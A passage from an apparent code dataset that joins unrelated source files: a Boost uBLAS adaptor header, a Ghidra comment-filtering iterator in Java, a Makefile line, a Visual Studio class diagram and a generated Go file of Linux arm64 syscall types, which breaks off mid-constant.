static std::ptrdiff_t size2( const Id& t ) {\n return t.size2();\n }\n\n static value_type* begin_value( Id& t ) {\n return bindings::begin_value( t.data() );\n }\n\n static value_type* end_value( Id& t ) {\n return bindings::end_value( t.data() );\n }\n\n};\n\ntemplate< typename T, typename F, typename Id, typename Enable >\nstruct adaptor< ublas::triangular_adaptor< T, F >, Id, Enable >:\n basic_ublas_adaptor<\n T,\n Id,\n mpl::pair< tag::matrix_type, typename convert_to< tag::matrix_type, F >::type >,\n mpl::pair< tag::data_side, typename convert_to< tag::data_side, F >::type >\n > {};\n\n} // detail\n} // bindings\n} // numeric\n} // boost\n\n#endif\n"} {"text": "/* ###\n * IP: GHIDRA\n * REVIEWED: YES\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * \n * http://www.apache.org/licenses/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage ghidra.program.database.code;\n\nimport ghidra.program.model.listing.CodeUnit;\nimport ghidra.program.model.listing.CodeUnitIterator;\n\nimport java.util.Iterator;\n\n/**\n * Filters the given codeUnit iterator to only return codeUnits that have a comment of the given type\n */\npublic class CommentTypeFilterIterator implements CodeUnitIterator {\n\tprivate CodeUnitIterator it;\n\tprivate int commentType;\n\tprivate CodeUnit nextCu;\n\n\t/**\n\t * Constructs a new CommentTypeFilterIterator\n\t * @param it a codeunit iterator whose items are tested for the comment type.\n\t * @param commentType the type of comment to search for.\n\t */\n\tpublic CommentTypeFilterIterator(CodeUnitIterator it, int commentType) {\n\t\tthis.it = it;\n\t\tthis.commentType = commentType;\n\t}\n\n\t/**\n\t * @see java.util.Iterator#remove()\n\t */\n\t@Override\n\tpublic void remove() {\n\t\tthrow new UnsupportedOperationException();\n\t}\n\n\t/**\n\t * @see ghidra.program.model.listing.CodeUnitIterator#hasNext()\n\t */\n\t@Override\n\tpublic boolean hasNext() {\n\t\tif (nextCu == null) {\n\t\t\tfindNext();\n\t\t}\n\t\treturn nextCu != null;\n\t}\n\n\t/**\n\t * @see ghidra.program.model.listing.CodeUnitIterator#next()\n\t */\n\t@Override\n\tpublic CodeUnit next() {\n\t\tif (hasNext()) {\n\t\t\tCodeUnit ret = nextCu;\n\t\t\tnextCu = null;\n\t\t\treturn ret;\n\t\t}\n\t\treturn null;\n\t}\n\n\tprivate void findNext() {\n\t\twhile (it.hasNext()) {\n\t\t\tCodeUnit cu = it.next();\n\t\t\tif (cu.getComment(commentType) != null) {\n\t\t\t\tnextCu = cu;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\n\t@Override\n\tpublic Iterator<CodeUnit> iterator() {\n\t\treturn this;\n\t}\n\n}\n"} {"text": "SUBDIRS = omxmlsec handlers trust secconv util core rahas data\n"} {"text": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<ClassDiagram MajorVersion=\"1\" MinorVersion=\"1\">\n <Class Name=\"Microsoft.VisualStudio.Project.ReferenceNode\">\n <Position X=\"0.75\" Y=\"1.5\" Width=\"2.25\" />\n <NestedTypes>\n <Delegate Name=\"Microsoft.VisualStudio.Project.ReferenceNode.CannotAddReferenceErrorMessage\" Collapsed=\"true\">\n <TypeIdentifier>\n <NewMemberFileName>ReferenceNode.cs</NewMemberFileName>\n </TypeIdentifier>\n </Delegate>\n </NestedTypes>\n <TypeIdentifier>\n <HashCode>AIBAAGagAAFAAAAAgACiIAAAAAAQAAEAGAAQAABAAAA=</HashCode>\n <FileName>ReferenceNode.cs</FileName>\n </TypeIdentifier>\n </Class>\n <Class Name=\"Microsoft.VisualStudio.Project.ProjectReferenceNode\">\n <Position X=\"5.75\" Y=\"1.5\" Width=\"2.5\" />\n <Compartments>\n <Compartment Name=\"Fields\" Collapsed=\"true\" />\n </Compartments>\n <AssociationLine Name=\"buildDependency\" Type=\"Microsoft.VisualStudio.Project.BuildDependency\" FixedFromPoint=\"true\">\n <Path>\n <Point X=\"8.25\" Y=\"1.845\" />\n <Point X=\"10\" Y=\"1.845\" />\n </Path>\n </AssociationLine>\n <TypeIdentifier>\n <HashCode>CIACCFYCAgAAgAEgAIACBAQAAAAQABAACAAAAECACgA=</HashCode>\n <FileName>ProjectReferenceNode.cs</FileName>\n </TypeIdentifier>\n <ShowAsAssociation>\n <Field Name=\"buildDependency\" />\n </ShowAsAssociation>\n </Class>\n <Class Name=\"Microsoft.VisualStudio.Project.BuildDependency\">\n <Position X=\"10\" Y=\"1.5\" Width=\"2.25\" />\n <Compartments>\n <Compartment Name=\"Fields\" Collapsed=\"true\" />\n </Compartments>\n <TypeIdentifier>\n <HashCode>AAAQAAYAAAQAgAAQAEAAAAAAAAAAAAAAEQAAAACAAAA=</HashCode>\n <FileName>BuildDependency.cs</FileName>\n </TypeIdentifier>\n <Lollipop Position=\"0.2\" />\n </Class>\n <Class Name=\"Microsoft.VisualStudio.Project.ComReferenceNode\" Collapsed=\"true\">\n <Position X=\"3.75\" Y=\"2.5\" Width=\"1.5\" />\n <TypeIdentifier>\n <HashCode>AACACCIAAAIAACQgQAAEBAQAgACAAAABCAgQAQACIAA=</HashCode>\n <FileName>ComReferenceNode.cs</FileName>\n </TypeIdentifier>\n </Class>\n <Class Name=\"Microsoft.VisualStudio.Project.SolutionListenerForProjectReferenceUpdate\">\n <Position X=\"0.75\" Y=\"6.75\" Width=\"3\" />\n <TypeIdentifier>\n <HashCode>AAAAAAAAAAAAAAAAAQAAIAAAAgAAAAAIAAAAgABAAAA=</HashCode>\n <FileName>SolutionListenerForProjectReferenceUpdate.cs</FileName>\n </TypeIdentifier>\n </Class>\n <Class Name=\"Microsoft.VisualStudio.Project.SolutionListener\" Collapsed=\"true\">\n <Position X=\"4.75\" Y=\"7\" Width=\"1.5\" />\n <TypeIdentifier>\n <HashCode>AAIACRBQoCAQCCAAEAIAJAAACgQBAAAYAQAiiAIAAAA=</HashCode>\n <FileName>SolutionListener.cs</FileName>\n </TypeIdentifier>\n <Lollipop Position=\"0.2\" />\n </Class>\n <Class Name=\"Microsoft.VisualStudio.Project.AssemblyReferenceNode\" Collapsed=\"true\">\n <Position X=\"3.75\" Y=\"0.5\" Width=\"1.5\" />\n <TypeIdentifier>\n <HashCode>AAACCCJAACAACAAgEAoAAAACBABACIAIGAAAEACAABw=</HashCode>\n <FileName>AssemblyReferenceNode.cs</FileName>\n </TypeIdentifier>\n </Class>\n <Font Name=\"Tahoma\" Size=\"8.25\" />\n</ClassDiagram>"} {"text": "// cgo -godefs -- -Wall -Werror -static -I/tmp/include -fsigned-char linux/types.go | go run mkpost.go\n// Code generated by the command above; see README.md. DO NOT EDIT.\n\n// +build arm64,linux\n\npackage unix\n\nconst (\n\tsizeofPtr = 0x8\n\tsizeofShort = 0x2\n\tsizeofInt = 0x4\n\tsizeofLong = 0x8\n\tsizeofLongLong = 0x8\n\tPathMax = 0x1000\n)\n\ntype (\n\t_C_short int16\n\t_C_int int32\n\t_C_long int64\n\t_C_long_long int64\n)\n\ntype Timespec struct {\n\tSec int64\n\tNsec int64\n}\n\ntype Timeval struct {\n\tSec int64\n\tUsec int64\n}\n\ntype Timex struct {\n\tModes uint32\n\t_ [4]byte\n\tOffset int64\n\tFreq int64\n\tMaxerror int64\n\tEsterror int64\n\tStatus int32\n\t_ [4]byte\n\tConstant int64\n\tPrecision int64\n\tTolerance int64\n\tTime Timeval\n\tTick int64\n\tPpsfreq int64\n\tJitter int64\n\tShift int32\n\t_ [4]byte\n\tStabil int64\n\tJitcnt int64\n\tCalcnt int64\n\tErrcnt int64\n\tStbcnt int64\n\tTai int32\n\t_ [44]byte\n}\n\ntype Time_t int64\n\ntype Tms struct {\n\tUtime int64\n\tStime int64\n\tCutime int64\n\tCstime int64\n}\n\ntype Utimbuf struct {\n\tActime int64\n\tModtime int64\n}\n\ntype Rusage struct {\n\tUtime Timeval\n\tStime Timeval\n\tMaxrss int64\n\tIxrss int64\n\tIdrss int64\n\tIsrss int64\n\tMinflt int64\n\tMajflt int64\n\tNswap int64\n\tInblock int64\n\tOublock int64\n\tMsgsnd int64\n\tMsgrcv int64\n\tNsignals int64\n\tNvcsw int64\n\tNivcsw int64\n}\n\ntype Rlimit struct {\n\tCur uint64\n\tMax uint64\n}\n\ntype _Gid_t uint32\n\ntype Stat_t struct {\n\tDev uint64\n\tIno uint64\n\tMode uint32\n\tNlink uint32\n\tUid uint32\n\tGid uint32\n\tRdev uint64\n\t_ uint64\n\tSize int64\n\tBlksize int32\n\t_ int32\n\tBlocks int64\n\tAtim Timespec\n\tMtim Timespec\n\tCtim Timespec\n\t_ [2]int32\n}\n\ntype StatxTimestamp struct {\n\tSec int64\n\tNsec uint32\n\t_ int32\n}\n\ntype Statx_t struct {\n\tMask uint32\n\tBlksize uint32\n\tAttributes uint64\n\tNlink uint32\n\tUid uint32\n\tGid uint32\n\tMode uint16\n\t_ [1]uint16\n\tIno uint64\n\tSize uint64\n\tBlocks uint64\n\tAttributes_mask uint64\n\tAtime StatxTimestamp\n\tBtime StatxTimestamp\n\tCtime StatxTimestamp\n\tMtime StatxTimestamp\n\tRdev_major uint32\n\tRdev_minor uint32\n\tDev_major uint32\n\tDev_minor uint32\n\t_ [14]uint64\n}\n\ntype Dirent struct {\n\tIno uint64\n\tOff int64\n\tReclen uint16\n\tType uint8\n\tName [256]int8\n\t_ [5]byte\n}\n\ntype Fsid struct {\n\tVal [2]int32\n}\n\ntype Flock_t struct {\n\tType int16\n\tWhence int16\n\t_ [4]byte\n\tStart int64\n\tLen int64\n\tPid int32\n\t_ [4]byte\n}\n\ntype FscryptPolicy struct {\n\tVersion uint8\n\tContents_encryption_mode uint8\n\tFilenames_encryption_mode uint8\n\tFlags uint8\n\tMaster_key_descriptor [8]uint8\n}\n\ntype FscryptKey struct {\n\tMode uint32\n\tRaw [64]uint8\n\tSize uint32\n}\n\ntype KeyctlDHParams struct {\n\tPrivate int32\n\tPrime int32\n\tBase int32\n}\n\nconst (\n\tFADV_NORMAL = 0x0\n\tFADV_RANDOM = 0x1\n\tFADV_SEQUENTIAL = 0x2\n\tFADV_WILLNEED = 0x3\n\tFADV_DONTNEED = 0x4\n\tFADV_NOREUSE = 0x5\n)\n\ntype RawSockaddrInet4 struct {\n\tFamily uint16\n\tPort uint16\n\tAddr [4]byte /* in_addr */\n\tZero [8]uint8\n}\n\ntype RawSockaddrInet6 struct {\n\tFamily uint16\n\tPort uint16\n\tFlowinfo uint32\n\tAddr [16]byte /* in6_addr */\n\tScope_id uint32\n}\n\ntype RawSockaddrUnix struct {\n\tFamily uint16\n\tPath [108]int8\n}\n\ntype RawSockaddrLinklayer struct {\n\tFamily uint16\n\tProtocol uint16\n\tIfindex int32\n\tHatype uint16\n\tPkttype uint8\n\tHalen uint8\n\tAddr [8]uint8\n}\n\ntype RawSockaddrNetlink struct {\n\tFamily uint16\n\tPad uint16\n\tPid uint32\n\tGroups uint32\n}\n\ntype RawSockaddrHCI struct {\n\tFamily uint16\n\tDev uint16\n\tChannel uint16\n}\n\ntype RawSockaddrL2 struct {\n\tFamily uint16\n\tPsm uint16\n\tBdaddr [6]uint8\n\tCid uint16\n\tBdaddr_type uint8\n\t_ [1]byte\n}\n\ntype RawSockaddrCAN struct {\n\tFamily uint16\n\t_ [2]byte\n\tIfindex int32\n\tAddr [8]byte\n}\n\ntype RawSockaddrALG struct {\n\tFamily uint16\n\tType [14]uint8\n\tFeat uint32\n\tMask uint32\n\tName [64]uint8\n}\n\ntype RawSockaddrVM struct {\n\tFamily uint16\n\tReserved1 uint16\n\tPort uint32\n\tCid uint32\n\tZero [4]uint8\n}\n\ntype RawSockaddr struct {\n\tFamily uint16\n\tData [14]int8\n}\n\ntype RawSockaddrAny struct {\n\tAddr RawSockaddr\n\tPad [96]int8\n}\n\ntype _Socklen uint32\n\ntype Linger struct {\n\tOnoff int32\n\tLinger int32\n}\n\ntype Iovec struct {\n\tBase *byte\n\tLen uint64\n}\n\ntype IPMreq struct {\n\tMultiaddr [4]byte /* in_addr */\n\tInterface [4]byte /* in_addr */\n}\n\ntype IPMreqn struct {\n\tMultiaddr [4]byte /* in_addr */\n\tAddress [4]byte /* in_addr */\n\tIfindex int32\n}\n\ntype IPv6Mreq struct {\n\tMultiaddr [16]byte /* in6_addr */\n\tInterface uint32\n}\n\ntype PacketMreq struct {\n\tIfindex int32\n\tType uint16\n\tAlen uint16\n\tAddress [8]uint8\n}\n\ntype Msghdr struct {\n\tName *byte\n\tNamelen uint32\n\t_ [4]byte\n\tIov *Iovec\n\tIovlen uint64\n\tControl *byte\n\tControllen uint64\n\tFlags int32\n\t_ [4]byte\n}\n\ntype Cmsghdr struct {\n\tLen uint64\n\tLevel int32\n\tType int32\n}\n\ntype Inet4Pktinfo struct {\n\tIfindex int32\n\tSpec_dst [4]byte /* in_addr */\n\tAddr [4]byte /* in_addr */\n}\n\ntype Inet6Pktinfo struct {\n\tAddr [16]byte /* in6_addr */\n\tIfindex uint32\n}\n\ntype IPv6MTUInfo struct {\n\tAddr RawSockaddrInet6\n\tMtu uint32\n}\n\ntype ICMPv6Filter struct {\n\tData [8]uint32\n}\n\ntype Ucred struct {\n\tPid int32\n\tUid uint32\n\tGid uint32\n}\n\ntype TCPInfo struct {\n\tState uint8\n\tCa_state uint8\n\tRetransmits uint8\n\tProbes uint8\n\tBackoff uint8\n\tOptions uint8\n\t_ [2]byte\n\tRto uint32\n\tAto uint32\n\tSnd_mss uint32\n\tRcv_mss uint32\n\tUnacked uint32\n\tSacked uint32\n\tLost uint32\n\tRetrans uint32\n\tFackets uint32\n\tLast_data_sent uint32\n\tLast_ack_sent uint32\n\tLast_data_recv uint32\n\tLast_ack_recv uint32\n\tPmtu uint32\n\tRcv_ssthresh uint32\n\tRtt uint32\n\tRttvar uint32\n\tSnd_ssthresh uint32\n\tSnd_cwnd uint32\n\tAdvmss uint32\n\tReordering uint32\n\tRcv_rtt uint32\n\tRcv_space uint32\n\tTotal_retrans uint32\n}\n\nconst (\n\tSizeofSockaddrInet4 = 0x10\n\tSizeofSockaddrInet6 = 0x1c\n\tSizeofSockaddrAny = 0x70\n\tSizeofSockaddrUnix = 0x6e\n\tSizeofSockaddrLinklayer = 0x14\n\tSizeofSockaddrNetlink = 0xc\n\tSizeofSockaddrHCI = 0x6\n\tSizeofSockaddrL2 = 0xe\n\tSizeofSockaddrCAN = 0x10\n\tSizeofSockaddrALG = 0x58\n\tSizeofSockaddrVM = 0x10\n\tSizeofLinger = 0x8\n\tSizeofIovec = 0x10\n\tSizeofIPMreq = 0x8\n\tSizeofIPMreqn = 0xc\n\tSizeofIPv6Mreq = 0x14\n\tSizeofPacketMreq = 0x10\n\tSizeofMsghdr = 0x38\n\tSizeofCmsghdr = 0x10\n\tSizeofInet4Pktinfo = 0xc\n\tSizeofInet6Pktinfo = 0x14\n\tSizeofIPv6MTUInfo = 0x20\n\tSizeofICMPv6Filter = 0x20\n\tSizeofUcred = 0xc\n\tSizeofTCPInfo = 0x68\n)\n\nconst (\n\tIFA_UNSPEC = 0x0\n\tIFA_ADDRESS = 0x1\n\tIFA_LOCAL = 0x2\n\tIFA_LABEL = 0x3\n\tIFA_BROADCAST = 0x4\n\tIFA_ANYCAST = 0x5\n\tIFA_CACHEINFO = 0x6\n\tIFA_MULTICAST = 0x7\n\tIFLA_UNSPEC = 0x0\n\tIFLA_ADDRESS = 0x1\n\tIFLA_BROADCAST = 0x2\n\tIFLA_IFNAME = 0x3\n\tIFLA_MTU = 0x4\n\tIFLA_LINK = 0x5\n\tIFLA_QDISC = 0x6\n\tIFLA_STATS = 0x7\n\tIFLA_COST = 0x8\n\tIFLA_PRIORITY = 0x9\n\tIFLA_MASTER = 0xa\n\tIFLA_WIRELESS = 0xb\n\tIFLA_PROTINFO = 0xc\n\tIFLA_TXQLEN = 0xd\n\tIFLA_MAP = 0xe\n\tIFLA_WEIGHT = 0xf\n\tIFLA_OPERSTATE = 0x10\n\tIFLA_LINKMODE = 0x11\n\tIFLA_LINKINFO = 0x12\n\tIFLA_NET_NS_PID = 0x13\n\tIFLA_IFALIAS = 0x14\n\tIFLA_NUM_VF = 0x15\n\tIFLA_VFINFO_LIST = 0x16\n\tIFLA_STATS64 = 0x17\n\tIFLA_VF_PORTS = 0x18\n\tIFLA_PORT_SELF = 0x19\n\tIFLA_AF_SPEC = 0x1a\n\tIFLA_GROUP = 0x1b\n\tIFLA_NET_NS_FD = 0x1c\n\tIFLA_EXT_MASK = 0x1d\n\tIFLA_PROMISCUITY = 0x1e\n\tIFLA_NUM_TX_QUEUES = 0x1f\n\tIFLA_NUM_RX_QUEUES = 0x20\n\tIFLA_CARRIER = 0x21\n\tIFLA_PHYS_PORT_ID = 0x22\n\tIFLA_CARRIER_CHANGES = 0x23\n\tIFLA_PHYS_SWITCH_ID = 0x24\n\tIFLA_LINK_NETNSID = 0x25\n\tIFLA_PHYS_PORT_NAME = 0x26\n\tIFLA_PROTO_DOWN = 0x27\n\tIFLA_GSO_MAX_SEGS = 0x28\n\tIFLA_GSO_MAX_SIZE = 0x29\n\tIFLA_PAD = 0x2a\n\tIFLA_XDP = 0x2b\n\tIFLA_EVENT = 0x2c\n\tIFLA_NEW_NETNSID = 0x2d\n\tIFLA_IF_NETNSID = 0x2e\n\tIFLA_MAX = 0x31\n\tRT_SCOPE_UNIVERSE = 0x0\n\tRT_SCOPE_SITE = 0xc8\n\tRT_SCOPE_LINK = 0xfd\n\tRT_SCOPE_HOST = 0xfe\n\tRT_SCOPE_NOWHERE = 0xff\n\tRT_TABLE_UNSPEC = 0x0\n\tRT_TABLE_COMPAT = 0xfc\n\tRT_TABLE_DEFAULT = 0xfd\n\tRT_TABLE_MAIN = 0xfe\n\tRT_TABLE_LOCAL = 0xff\n\tRT_TABLE_MAX = 0xffffffff\n\tRTA_UNSPEC = 0x0\n\tRTA_DST = 0x1\n\tRTA_SRC = 0x2\n\tRTA_IIF = 0x3\n\tRTA_OIF = 0x4\n\tRTA_GATEWAY = 0x5\n\tRTA_PRIORITY = 0x6\n\tRTA_PREFSRC = 0x7\n\tRTA_METRICS = 0x8\n\tRTA_MULTIPATH = 0x9\n\tRTA_FLOW = 0xb\n\tRTA_CACHEINFO = 0xc\n\tRTA_TABLE = 0xf\n\tRTN_UNSPEC = 0x0\n\tRTN_UNICAST = 0x1\n\tRTN_LOCAL = 0x2\n\tRTN_BROADCAST = 0x3\n\tRTN_ANYCAST = 0x4\n\tRTN_MULTICAST = 0x5\n\tRTN_BLACKHOLE = 0x6\n\tRTN_UNREACHABLE = 0x7\n\tRTN_PROHIBIT = 0x8\n\tRTN_THROW = 0x9\n\tRTN_NAT = 0xa\n\tRTN_XRESOLVE = 0xb\n\tRTNLGRP_NONE = 0x0\n\tRTNLGRP_LINK = 0x1\n\tRTNLGRP_NOTIFY = 0x2\n\tRTNLGRP_NEIGH = 0x3\n\tRTNLGRP_TC = 0x4\n\tRTNLGRP_IPV4_IFADDR = 0x5\n\tRTNLGRP_IPV4_MROUTE = 0x6\n\tRTNLGRP_IPV4_ROUTE = 0x7\n\tRTNLGRP_IPV4_RULE = 0x8\n\tRTNLGRP_IPV6_IFADDR = 0x9\n\tRTNLGRP_IPV6_MROUTE = 0xa\n\tRTNLGRP_IPV6_ROUTE = 0xb\n\tRTNLGRP_IPV6_IFINFO = 0xc\n\tRTNLGRP_IPV6_PREFIX = 0x12\n\tRTNLGRP_IPV6_RULE = 0x13\n\tRTNLGRP_ND_USEROPT = 0x14\n\tSizeofNlMsghdr = 0x10\n\tSizeofNlMsgerr = 0x14\n\tSizeofRtGenmsg = 0x1\n\tSizeofNlAttr = 0x4\n\tSizeofRtAttr = 0x4\n\tSizeofIfInfomsg = 0x10\n\tSizeofIfAddrmsg = 0x8\n\tSizeofRtMsg = 0xc\n\tSizeofRtNexthop = 0x8\n)\n\ntype NlMsghdr struct {\n\tLen uint32\n\tType uint16\n\tFlags uint16\n\tSeq uint32\n\tPid uint32\n}\n\ntype NlMsgerr struct {\n\tError int32\n\tMsg NlMsghdr\n}\n\ntype RtGenmsg struct {\n\tFamily uint8\n}\n\ntype NlAttr struct {\n\tLen uint16\n\tType uint16\n}\n\ntype RtAttr struct {\n\tLen uint16\n\tType uint16\n}\n\ntype IfInfomsg struct {\n\tFamily uint8\n\t_ uint8\n\tType uint16\n\tIndex int32\n\tFlags uint32\n\tChange uint32\n}\n\ntype IfAddrmsg struct {\n\tFamily uint8\n\tPrefixlen uint8\n\tFlags uint8\n\tScope uint8\n\tIndex uint32\n}\n\ntype RtMsg struct {\n\tFamily uint8\n\tDst_len uint8\n\tSrc_len uint8\n\tTos uint8\n\tTable uint8\n\tProtocol uint8\n\tScope uint8\n\tType uint8\n\tFlags uint32\n}\n\ntype RtNexthop struct {\n\tLen uint16\n\tFlags uint8\n\tHops uint8\n\tIfindex int32\n}\n\nconst (\n\tSizeofSockFilter = 0x8\n\tSizeofSockFprog = 0x10\n)\n\ntype SockFilter struct {\n\tCode uint16\n\tJt uint8\n\tJf uint8\n\tK uint32\n}\n\ntype SockFprog struct {\n\tLen uint16\n\t_ [6]byte\n\tFilter *SockFilter\n}\n\ntype InotifyEvent struct {\n\tWd int32\n\tMask uint32\n\tCookie uint32\n\tLen uint32\n}\n\nconst SizeofInotifyEvent = 0x10\n\ntype PtraceRegs struct {\n\tRegs [31]uint64\n\tSp uint64\n\tPc uint64\n\tPstate uint64\n}\n\ntype FdSet struct {\n\tBits [16]int64\n}\n\ntype Sysinfo_t struct {\n\tUptime int64\n\tLoads [3]uint64\n\tTotalram uint64\n\tFreeram uint64\n\tSharedram uint64\n\tBufferram uint64\n\tTotalswap uint64\n\tFreeswap uint64\n\tProcs uint16\n\tPad uint16\n\t_ [4]byte\n\tTotalhigh uint64\n\tFreehigh uint64\n\tUnit uint32\n\t_ [0]int8\n\t_ [4]byte\n}\n\ntype Utsname struct {\n\tSysname [65]byte\n\tNodename [65]byte\n\tRelease [65]byte\n\tVersion [65]byte\n\tMachine [65]byte\n\tDomainname [65]byte\n}\n\ntype Ustat_t struct {\n\tTfree int32\n\t_ [4]byte\n\tTinode uint64\n\tFname [6]int8\n\tFpack [6]int8\n\t_ [4]byte\n}\n\ntype EpollEvent struct {\n\tEvents uint32\n\tPadFd int32\n\tFd int32\n\tPad int32\n}\n\nconst (\n\tAT_EMPTY_PATH = 0x1000\n\tAT_FDCWD = -0x64\n\tAT_NO_AUTOMOUNT = 0x800\n\tAT_REMOVEDIR = 0x200\n\n\tAT_STATX_SYNC_AS_STAT = 0x0\n\tAT_STATX_FORCE_SYNC = 0x2000\n\tAT_STATX_DONT_SYNC = 0x4000\n\n\tAT_SYMLINK_FOLLOW = 0x400\n\tAT_SYMLINK_NOFOLLOW = 0x100\n)\n\ntype PollFd struct {\n\tFd int32\n\tEvents int16\n\tRevents int16\n}\n\nconst (\n\tPOLLIN = 0x1\n\tPOLLPRI = 0x2\n\tPOLLOUT = 0x4\n\tPOLLRDHUP = 0x2000\n\tPOLLERR = 0x8\n\tPOLLHUP = 0x10\n\tPOLLNVAL = 0x20\n)\n\ntype Sigset_t struct {\n\tVal [16]uint64\n}\n\nconst RNDGETENTCNT = 0x80045200\n\nconst PERF_IOC_FLAG_GROUP = 0x1\n\ntype Termios struct {\n\tIflag uint32\n\tOflag uint32\n\tCflag uint32\n\tLflag uint32\n\tLine uint8\n\tCc [19]uint8\n\tIspeed uint32\n\tOspeed uint32\n}\n\ntype Winsize struct {\n\tRow uint16\n\tCol uint16\n\tXpixel uint16\n\tYpixel uint16\n}\n\ntype Taskstats struct {\n\tVersion uint16\n\t_ [2]byte\n\tAc_exitcode uint32\n\tAc_flag uint8\n\tAc_nice uint8\n\t_ [6]byte\n\tCpu_count uint64\n\tCpu_delay_total uint64\n\tBlkio_count uint64\n\tBlkio_delay_total uint64\n\tSwapin_count uint64\n\tSwapin_delay_total uint64\n\tCpu_run_real_total uint64\n\tCpu_run_virtual_total uint64\n\tAc_comm [32]int8\n\tAc_sched uint8\n\tAc_pad [3]uint8\n\t_ [4]byte\n\tAc_uid uint32\n\tAc_gid uint32\n\tAc_pid uint32\n\tAc_ppid uint32\n\tAc_btime uint32\n\t_ [4]byte\n\tAc_etime uint64\n\tAc_utime uint64\n\tAc_stime uint64\n\tAc_minflt uint64\n\tAc_majflt uint64\n\tCoremem uint64\n\tVirtmem uint64\n\tHiwater_rss uint64\n\tHiwater_vm uint64\n\tRead_char uint64\n\tWrite_char uint64\n\tRead_syscalls uint64\n\tWrite_syscalls uint64\n\tRead_bytes uint64\n\tWrite_bytes uint64\n\tCancelled_write_bytes uint64\n\tNvcsw uint64\n\tNivcsw uint64\n\tAc_utimescaled uint64\n\tAc_stimescaled uint64\n\tCpu_scaled_run_real_total uint64\n\tFreepages_count uint64\n\tFreepages_delay_total uint64\n}\n\nconst (\n\tTASKSTATS_CMD_UNSPEC = 0x0\n\tTASKSTATS_CMD_GET = 0x1\n\tTASKSTATS_CMD_NEW = 0x2\n\tTASKSTATS_TYPE_UNSPEC = 0x0\n\tTASKSTATS_TYPE_PID = 0x1\n\tTASKSTATS_TYPE_TGID = 0x2\n\tTASKSTATS_TYPE_STATS = 0x3\n\tTASKSTATS_TYPE_AGGR_PID = 0x4\n\tTASKSTATS_TYPE_AGGR_TGID = 0x5\n\tTASKSTATS_TYPE_NULL = 0x6\n\tTASKSTATS_CMD_ATTR_UNSPEC = 0x0\n\tTASKSTATS_CMD_ATTR_PID = 0x1\n\tTASKSTATS_CMD_ATTR_TGID = 0x2\n\tTASKSTATS_CMD_ATTR_REGISTER_CPUMASK = 0x3\n\tTASKSTATS_CMD_ATTR_DEREGISTER_CPUMASK = 0x4\n)\n\ntype CGroupStats struct {\n\tSleeping uint64\n\tRunning uint64\n\tStopped uint64\n\tUninterruptible uint64\n\tIo_wait uint64\n}\n\nconst (\n\tCGROUPSTATS_CMD_UNSPEC = 0x3\n\tCGROUPSTATS_CMD_GET = 0x4\n\tCGROUPSTATS_CMD_NEW = 0x5\n\tCGROUPSTATS_TYPE_UNSPEC = 0x0\n\tCGROUPSTATS_TYPE_CGROUP_STATS = 0x1\n\tCGROUPSTATS_CMD_ATTR_UNSPEC = 0x0\n\tCGROUPSTATS_CMD_ATTR_FD = 0x1\n)\n\ntype Genlmsghdr struct {\n\tCmd uint8\n\tVersion uint8\n\tReserved uint16\n}\n\nconst (\n\tCTRL_CMD_UNSPEC = 0x0\n\tCTRL_CMD_NEWFAMILY = 0x1\n\tCTRL_CMD_DELFAMILY = 0x2\n\tCTRL_CMD_GETFAMILY = 0x3\n\tCTRL_CMD_NEWOPS = 0x4\n\tCTRL_CMD_DELOPS = 0x5\n\tCTRL_CMD_GETOPS = 0x6\n\tCTRL_CMD_NEWMCAST_GRP = 0x7\n\tCTRL_CMD_DELMCAST_GRP = 0x8\n\tCTRL_CMD_GETMCAST_GRP = 0x9\n\tCTRL_ATTR_UNSPEC = 0x0\n\tCTRL_ATTR_FAMILY_ID = 0x1\n\tCTRL_ATTR_FAMILY_NAME = 0x2\n\tCTRL_ATTR_VERSION = 0x3\n\tCTRL_ATTR_HDRSIZE = 0x4\n\tCTRL_ATTR_MAXATTR = 0x5\n\tCTRL_ATTR_OPS = 0x6\n\tCTRL_ATTR_MCAST_GROUPS = 0x7\n\tCTRL_ATTR_OP_UNSPEC = 0x0\n\tCTRL_ATTR_OP_ID = 0x1\n\tCTRL_ATTR_OP_FLAGS = 0x2\n\tCTRL_ATTR_MCAST_GRP_UNSPEC = 0x0\n\tCTRL_ATTR_MCAST_GRP_NAME = 0x1\n\tCTRL_ATTR_MCAST_GRP_ID = 0x2\n)\n\ntype cpuMask uint64\n\nconst (\n\t_CPU_SETSIZE = 0x400\n\t_NCPUBITS = 0x40\n)\n\nconst (\n\tBDADDR_BREDR = 0x0\n\tBDADDR_LE_PUBLIC = 0x1\n\tBDADDR_LE_RANDOM = 0x2\n)\n\ntype PerfEventAttr struct {\n\tType uint32\n\tSize uint32\n\tConfig uint64\n\tSample uint64\n\tSample_type uint64\n\tRead_format uint64\n\tBits uint64\n\tWakeup uint32\n\tBp_type uint32\n\tExt1 uint64\n\tExt2 uint64\n\tBranch_sample_type uint64\n\tSample_regs_user uint64\n\tSample_stack_user uint32\n\tClockid int32\n\tSample_regs_intr uint64\n\tAux_watermark uint32\n\t_ uint32\n}\n\ntype PerfEventMmapPage struct {\n\tVersion uint32\n\tCompat_version uint32\n\tLock uint32\n\tIndex uint32\n\tOffset int64\n\tTime_enabled uint64\n\tTime_running uint64\n\tCapabilities uint64\n\tPmc_width uint16\n\tTime_shift uint16\n\tTime_mult uint32\n\tTime_offset uint64\n\tTime_zero uint64\n\tSize uint32\n\t_ [948]uint8\n\tData_head uint64\n\tData_tail uint64\n\tData_offset uint64\n\tData_size uint64\n\tAux_head uint64\n\tAux_tail uint64\n\tAux_offset uint64\n\tAux_size uint64\n}\n\nconst (\n\tPerfBitDisabled uint64 = CBitFieldMaskBit0\n\tPerfBitInherit = CBitFieldMaskBit1\n\tPerfBitPinned = CBitFieldMaskBit2\n\tPerfBitExclusive = CBitFieldMaskBit3\n\tPerfBitExcludeUser = CBitFieldMaskBit4\n\tPerfBitExcludeKernel = CBitFieldMaskBit5\n\tPerfBitExcludeHv = CBitFieldMaskBit6\n\tPerfBitExcludeIdle = CBitFieldMaskBit7\n\tPerfBitMmap = CBitFieldMaskBit8\n\tPerfBitComm = CBitFieldMaskBit9\n\tPerfBitFreq = CBitFieldMaskBit10\n\tPerfBitInheritStat = 